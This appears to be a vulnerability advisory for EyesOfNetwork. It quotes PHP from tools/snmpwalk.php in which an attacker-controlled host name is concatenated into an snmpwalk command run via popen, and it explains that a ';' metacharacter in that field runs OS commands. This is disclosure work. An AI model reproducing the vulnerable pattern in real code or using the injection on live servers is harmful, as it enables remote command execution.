#About The Product:  
  
''' EyesOfNetwork ("EON") is the OpenSource solution combining a pragmatic usage of ITIL processes and a technological interface allowing their workaday application.   
EyesOfNetwork Supervision is the first brick of a range of products targeting to assist IT managment and gouvernance.   
EyesOfNetwork Supervision provides event management, availability, problems and capacity.   
#Technical Analysis:  
EyesOfNetwork allows Remote Command Execution via shell metacharacters in the module/tool_all/ host field.  
By looking into tools/snmpwalk.php we will find the vulnerable part of code:  
else{  
$command = "snmpwalk -c $snmp_community -v $snmp_version $host_name";  
}  
in this line we can see as the attacker who control the value of "$host_name" variable .  
And after that we have the magic function "popen" in the next part of code.  
$handle = popen($command,'r');  
echo "<p>";<br />  
while($read = fread($handle,100)){   
echo nl2br($read);   
flush();  
}   
pclose($handle);   
And now we can see the use of "popen" function that execute the $command's value and if we set a shell metacharacters ";" in the end of the command we will be able to execute OS command.'''
